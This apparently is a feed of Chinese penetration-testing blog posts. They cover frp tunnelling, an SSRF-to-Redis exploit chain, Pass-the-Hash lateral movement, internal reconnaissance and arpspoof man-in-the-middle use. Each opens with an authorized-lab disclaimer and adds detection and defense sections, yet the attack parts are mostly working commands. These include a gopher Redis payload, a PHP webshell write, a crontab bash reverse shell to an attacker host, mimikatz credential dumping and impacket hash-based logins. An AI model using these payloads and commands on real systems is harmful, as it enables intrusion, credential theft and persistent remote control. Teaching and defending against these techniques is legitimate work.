隧道与代理只在授权内网靶场使用。对非授权网络建立隐蔽通道、转发流量可能触犯法律。

一、原理：为什么需要隧道

攻击者拿到一台内网主机后，通常无法直接访问更深的内网网段。隧道/代理的作用是：

1
2
3


把已控主机变成“跳板”
通过它访问原本到不了的内网服务
支持 Socks5 全局代理和单端口转发

frp 是常用方案：frps 跑在攻击机（公网/可访问端），frpc 跑在内网已控主机，两者建立连接。

二、影响与危害

1
2
3


突破网络隔离，横向移动
访问内网 RDP/数据库/Web 等隐蔽服务
稳定持久的内网通道

风险等级：配合失陷主机，等于把内网“透明化”给攻击者。

三、利用 / 复现

第一步：攻击机启动 frps（服务端）

1
2
3
4


# frps.ini
[common]
bind_port = 7000
token = secret123

1

./frps -c frps.ini

第二步：内网主机启动 frpc（客户端）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# frpc.ini
[common]
server_addr = 攻击机IP
server_port = 7000
token = secret123

[socks5]
type = tcp
remote_port = 1080
plugin = socks5

1

./frpc -c frpc.ini

第三步：本地代理访问内网

1
2
3


# 把 socks5 代理指到攻击机的 1080
proxychains4 nmap -sT -Pn 10.0.0.0/24
proxychains4 rdesktop 10.0.0.20

端口转发场景

只想转发某个端口：

1
2
3
4
5


[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 13389

然后 rdesktop 攻击机IP:13389 即访问内网 RDP。

四、检测

1
2
3
4


对外连接出现非常规高频端口（7000 等）
frp 进程特征、配置文件残留
内网主机有到公网的异常长连接
流量特征：frp 使用自定义协议头

五、防御

1
2
3
4


限制内网到公网的出站连接（白名单）
监控异常外联与端口复用
EDR 检测隧道/代理工具进程
内网做东西向隔离，收敛可达面

六、加固（修复）

1
2
3
4


清除已控主机上的 frp 与相关进程/开机自启
排查注册表、计划任务、服务中的持久化
收紧出站防火墙，阻断 frps 常用端口
对失陷主机取证，追查隧道建立时间与数据

七、小结

隧道是内网渗透的“血管”：没有它，很多横向动作做不了；有了它，攻击者能稳定访问内网。防守核心是“出站最小化 + 东西向隔离 + 监控异常外联”。

漏洞联动：SSRF 打内网 Redis 未授权 Getshell

Sat, 29 Aug 2026 13:10:00 +0800

写在前面：合法学习边界

本联动利用只在自建靶场与授权内网进行。SSRF 打内网属于高风险行为，禁止对真实系统使用。

一、漏洞原理：为什么 SSRF 和 Redis 未授权能串联

单个漏洞单看：

1
2


SSRF：服务器能帮攻击者访问任意地址（包括内网）
Redis 未授权：6379 端口无认证，任何人都能执行命令

串联起来：

1
2
3
4


1. SSRF 让 Web 服务器访问内网 127.0.0.1:6379
2. Redis 未授权 → 执行任意命令
3. CONFIG SET dir/dbfilename 把 Redis 数据写进文件
4. 写入 crontab / WebShell / SSH Key → Getshell

关键点：SSRF 提供了“进入内网的路”，Redis 未授权提供了“执行入口”，两者缺一不可。

二、影响与危害

1
2
3


内网 Web 服务器被 Getshell
写入计划任务/SSH Key 实现持久控制
进一步横向移动整个内网

风险等级：SSRF + Redis 未授权 = 严重，几乎是打内网的经典突破口。

三、利用 / 复现

场景

靶场里有一个“URL 预览/图片代理”功能存在 SSRF；内网有一台 Redis 未授权监听 6379。

第一步：验证 SSRF 能访问内网

1
2
3


# 预览接口
http://127.0.0.1:6379
http://10.0.0.5:6379

如果响应异常/超时表现不同，说明能触达内网端口。

第二步：向 Redis 发送协议数据

利用 gopher 协议把 Redis 命令打进去（授权环境演示）：

1

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a

再构造写文件命令：

1
2
3
4


CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['c']);?>"
SAVE

或用 crontab 反弹：

1
2
3
4


CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET x "\n* * * * * bash -i >& /dev/tcp/攻击机/4444 0>&1\n"
SAVE

用 Python 生成 gopher 编码后，拼进 SSRF 请求即可。

第三步：结果验证

1
2


访问 shell.php?c=id 返回命令结果
或攻击机 4444 端口收到反弹 Shell

四、检测

1
2
3
4


日志中 SSRF 请求目标是 6379、22、80 等内网端口
存在 gopher://、dict:// 等非常规协议
请求中出现 Redis 命令关键字（CONFIG、SAVE、FLUSHALL）
Web 目录出现非业务文件、crontab 异常

五、防御

1
2
3


SSRF 侧：URL 白名单、禁内网地址、禁重定向、禁非常规协议
Redis 侧：requirepass + ACL + bind 内网/本机
网络侧：Web 与 Redis 网络隔离，最小暴露

六、修复

1
2
3
4


修复 SSRF：白名单 + 禁内网段（127/10/172.16/192.168/169.254）+ 禁 gopher/dict
修复 Redis：设置强密码、绑定地址、禁用 CONFIG/危险命令
清理已写入的 crontab / WebShell / SSH Key，做取证
修复后复测：SSRF 无法触达 Redis，Redis 无密码不可访问

七、小结

SSRF + Redis 未授权是典型的“跨层漏洞链”：一个 Web 层的 SSRF，配上内网组件的未授权，直接变成服务器控制。看漏洞不能只看单点，要把“入口 + 跳板 + 目标”连成一条链来评估。

内网横向移动：Pass-the-Hash 实战

Sat, 29 Aug 2026 11:40:00 +0800

写在前面：合法学习边界

Pass-the-Hash 是在目标机器上抓取凭据并横向登录。只能在授权内网靶场进行，禁止在非授权环境使用。

一、漏洞原理

Windows 的 NTLM 认证本质上是拿“密码的哈希”做验证，不需要明文密码。攻击者拿到用户的 NTLM 哈希后，就能以该用户身份登录其他机器。

1
2


有哈希 = 可以认证
哈希不一定要先破解成明文

这不是“破解”，而是“直接用哈希当凭据”，所以叫 Pass-the-Hash。

前提条件：

1
2
3


拿到了某账号的 NTLM 哈希
目标机器 445(SMB) 开放
账号对目标有本地管理员或域管权限

二、影响与危害

1
2
3


横向移动：一台机器沦陷 → 全内网批量沦陷
权限提升：普通机器 → 域控
清除痕迹前可能已被广泛利用

风险等级：高。管理密码复用越严重，影响面越大——一个管理员哈希可能覆盖内网一半以上 Windows。

三、利用 / 复现

第一步：拿到哈希

在已拿下的机器上抓凭据：

1
2
3


mimikatz
privilege::debug
sekurlsa::logonpasswords

输出里 NTLM : <64位hex> 就是目标哈希。

其他途径：

1
2
3


SAM 文件离线提取
LSASS 内存 dump
域控 NTDS.dit

第二步：用哈希横向登录

Linux 侧 impacket：

1
2
3
4
5


# 有交互 Shell（SMB 服务）
psexec.py 'DOMAIN/user@192.168.1.20' -hashes :<NTLM哈希>

# 更隐蔽，走 WMI
wmiexec.py 'DOMAIN/user@192.168.1.20' -hashes :<NTLM哈希>

批量找“哪些机器能用这个哈希登录”：

1

crackmapexec smb 192.168.1.0/24 -u administrator -H <NTLM哈希>

[+] 标记的机器即成功，可加 -x whoami 远程执行命令。

Windows 侧：

1
2


mimikatz
sekurlsa::pth /user:administrator /domain:xx /ntlm:<NTLM哈希>

结果验证

1
2


登录成功、拿到 Shell
crackmapexec 标记 [+]

四、检测

1
2
3
4


同一账号从多台主机同时登录（来源异常）
LSASS 被读取（mimikatz 特征）
大量 4624/4625 登录事件、异常 NTLM 登录
SMB 横向扫描流量特征

五、防御

1
2
3
4


启用 Credential Guard，隔离 LSASS 凭据
开启 LAPS，避免本地管理员密码复用
限制管理员账号横向使用
账号分离：域管账号不登录普通机器

六、修复

1
2
3
4
5


对已泄露的哈希：立即重置相关账号密码
强制全内网管理员密码轮换
清理 LSASS 中残留明文凭据
补装补丁，修复可提取凭据的漏洞
复测：确认旧哈希不再能登录其他机器

七、小结

PtH 之所以“有哈希就能横着走”，是因为 NTLM 协议本就用哈希做凭据。防御核心是 Credential Guard + LAPS + 账号分离 + 监控异常横向登录。

内网渗透：信息收集与存活主机探测

Sat, 29 Aug 2026 11:30:00 +0800

写在前面：合法学习边界

内网渗透只允许在你负责或有明确授权的内网环境进行。对非授权网络做扫描、抓取凭据可能触犯法律。以下命令均以授权靶场为例。

一、先摸清“我”在哪

拿到一台主机后，第一步不是扫全内网，而是先看自己这台机器。

Windows

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


ipconfig /all :: IP、网关、DNS、DHCP
whoami /all :: 用户、组、特权
systeminfo :: 系统版本、补丁、主机名
net user :: 本地用户
net localgroup administrators
netstat -ano :: 端口与连接
arp -a :: 内网缓存（快速发现相邻主机）
tasklist /svc :: 进程与服务
net view :: 共享与域环境
route print :: 路由表（找其他网段）

Linux

1
2
3
4
5
6
7
8


ifconfig / ip a
id && cat /etc/passwd
uname -a && cat /etc/os-release
netstat -antlp # 监听端口
arp -a
ps aux
cat /etc/hosts
ip route

看 ipconfig 和 route 很重要：内网往往不止一个网段，路由表能告诉你有几个可达网段。

二、识别网段与域环境

1
2
3


网关是 x.x.x.1，说明很可能在 /24 网段
DNS 指向域控，主机加入域 → 可能涉及域渗透
route 里出现多个网段 → 存在内网核心区

域环境的特征：

1
2
3


net user 显示的域前缀
DNS 服务器 = 域控 IP
存在 SRV 记录（_ldap、_kerberos）

三、存活探测

确定网段后，先做快速存活发现，别一上来就全端口扫。

ARP 探测（Windows，最准）

1

arp -a

或者用 arpscan：

1

arp -s 192.168.1.10 ...

ICMP 批量

1

for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i & done

用工具

1
2
3
4


fscan -h 192.168.1.0/24 # 国内实战高频，又快又全
nbtscan 192.168.1.0/24
nmap -sn 192.168.1.0/24
crackmapexec smb 192.168.1.0/24 # 同时探测 SMB 与主机名

fscan 的特点是一次跑完存活、端口、常见服务与弱口令，非常省时间。但要注意：主动扫描会产生流量，需确认授权范围。

四、主机画像

存活主机找到后，给每台机器画个像：

1
2
3
4


开放了哪些端口
跑什么服务
是域控、文件服务器还是 Web 机
有没有 SMB / RDP / MSSQL / Redis 等高价值服务

常用判断：

1
2
3
4
5


445 开放 → 可尝试 SMB 与横向
3389 开放 → RDP
1433 → MSSQL，弱口令常出问题
6379 → Redis，未授权常见
88 → Kerberos，说明可能是域控/域成员

影响与风险

信息收集本身风险不高，但决定后续走向：

1
2
3


信息收集不完整 → 漏掉高价值目标
不验证归属 → 把无关资产算进目标，越界
主动扫描流量大 → 暴露痕迹、惊动防守方

错误的信息收集会把整个测试带偏，甚至造成违规。

五、常见误区

1
2
3
4


一上来就全端口 nmap 全扫，流量大又慢
忽略 arp -a 和路由表，漏掉关键网段
不区分内网机器归属，把 DMZ 和办公网混在一起
只扫不记录，结果无法沉淀成报告

加固建议

1
2
3
4


减少内部服务暴露面，收敛端口
账号/口令复杂度与复用控制
部署内网流量监控与基线核查
对异常扫描与探测行为告警

六、小结

内网信息收集的核心是“先看自己，再找网段，最后给主机画像”。效率工具（fscan、crackmapexec）能省大量时间，但判断“谁是重点目标”才是真正决定后续横向路径的能力。

Arpspoof命令使用

Mon, 21 Apr 2025 10:40:37 +0800

一、简介

arpspoof 是一款用于 ARP 欺骗的工具，能够发送伪造的 ARP 数据包，欺骗网络中的设备，使其将攻击者的设备误认为是目标设备。这通常用于中间人攻击（MITM），例如捕获网络流量或篡改数据。

二、安装

（一）Kali Linux

arpspoof 在 Kali Linux 中通常已经预装。如果没有安装，可以通过安装 dsniff 包来获取：

1
2


sudo apt-get update
sudo apt-get install dsniff

（二）Ubuntu

在 Ubuntu 上，arpspoof 也包含在 dsniff 包中：

1
2


sudo apt-get update
sudo apt-get install dsniff

（三）CentOS

在 CentOS 上，可以通过安装 dsniff 包来获取 arpspoof：

1
2


sudo yum install epel-release
sudo yum install dsniff

安装完成后，可以通过以下命令验证 arpspoof 是否安装成功：

1

arpspoof --help

三、基本语法

1

arpspoof [选项] [目标 IP]

四、常用选项

选项	说明
`-i <接口>`	指定要使用的网络接口。
`-t <目标 IP>`	指定一个特殊的、将被 ARP 毒化的主机。
`-r`	毒化两个主机（目标和主机）以捕获两个方向的网络流量。
`-c own	host

五、使用示例

（一）欺骗单个目标

1

sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

将目标主机（192.168.1.100）的 ARP 表项中的默认网关（192.168.1.1）指向攻击者的设备。

（二）自动欺骗网关

1

sudo arpspoof -i eth0 -r 192.168.1.100

自动将目标主机（192.168.1.100）的 ARP 表项中的默认网关指向攻击者的设备。

（三）欺骗整个网络

1

sudo arpspoof -i eth0 -t 192.168.1.0/24 192.168.1.1

将整个网络中的设备的 ARP 表项中的默认网关指向攻击者的设备。

（四）恢复 ARP 表项

1

sudo arpspoof -i eth0 -c both -t 192.168.1.100 192.168.1.1

恢复目标主机（192.168.1.100）的 ARP 表项，使其恢复正常。

六、注意事项

权限问题：arpspoof 需要管理员权限才能运行。
网络环境：某些网络环境可能检测到 ARP 欺骗行为并采取措施。
法律问题：未经授权的 ARP 欺骗行为可能违反法律法规。
网络拓扑：在复杂的网络环境中，可能需要调整攻击策略以确保有效欺骗。
工具替代：如果 arpspoof 不可用，可以使用其他工具（如 ettercap 或 bettercap）来实现类似功能。

七、总结

arpspoof 是一个功能强大的 ARP 欺骗工具，常用于中间人攻击（MITM）。通过掌握基本语法和高级用法，可以快速实现网络流量的捕获和篡改，帮助进行网络安全测试和分析。